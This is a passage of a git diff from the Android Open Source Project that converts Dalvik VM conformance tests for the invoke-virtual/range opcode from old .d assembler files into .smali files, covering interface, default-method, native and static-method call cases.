-       invoke-virtual/range {v3}, dot/junit/opcodes/invoke_virtual_range/d/TTestInterface/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..dad143e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/T_invoke_virtual_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/T_invoke_virtual_range_24.smali
new file mode 100644
index 0000000..ecfbac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/T_invoke_virtual_range_24.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d
deleted file mode 100644
index 1d39236..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_25.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_25
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v6, java/lang/Object
-       invoke-virtual/range {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.smali
new file mode 100644
index 0000000..ca32c8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_25.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    new-instance v6, Ljava/lang/Object;
+
+    invoke-virtual/range {v6 .. v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d
deleted file mode 100644
index 31ea1ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_virtual_range_26.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_26
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-virtual/range {v0}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..424db44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..66bbdf5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/T_invoke_virtual_range_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/T_invoke_virtual_range_26.smali
new file mode 100644
index 0000000..9156fd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/T_invoke_virtual_range_26.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d
deleted file mode 100644
index ce470e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestNonDefault.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestDefault2
-
-.method public abstract testDefault()V
-.end method
-
-
-.source T_invoke_virtual_range_27.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_27
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-virtual/range {v0}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..424db44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..66bbdf5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..ad0a41a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/T_invoke_virtual_range_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/T_invoke_virtual_range_27.smali
new file mode 100644
index 0000000..9547b32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/T_invoke_virtual_range_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d
deleted file mode 100644
index 5617cbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_virtual_range_28.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_28
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual_range.d.ITestDefault
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-virtual/range {v0}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..424db44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/T_invoke_virtual_range_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/T_invoke_virtual_range_28.smali
new file mode 100644
index 0000000..972bbe9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/T_invoke_virtual_range_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d
deleted file mode 100644
index f68a194..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_4.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4/test()V
-       return-void
-.end method
-
-.method public native test()V
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.smali
new file mode 100644
index 0000000..fbfea89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4;->test()V
+
+    return-void
+.end method
+
+.method public native test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.d
deleted file mode 100644
index 361e00c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_5.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali
new file mode 100644
index 0000000..7c2d886
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.d
deleted file mode 100644
index 2dcf120..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
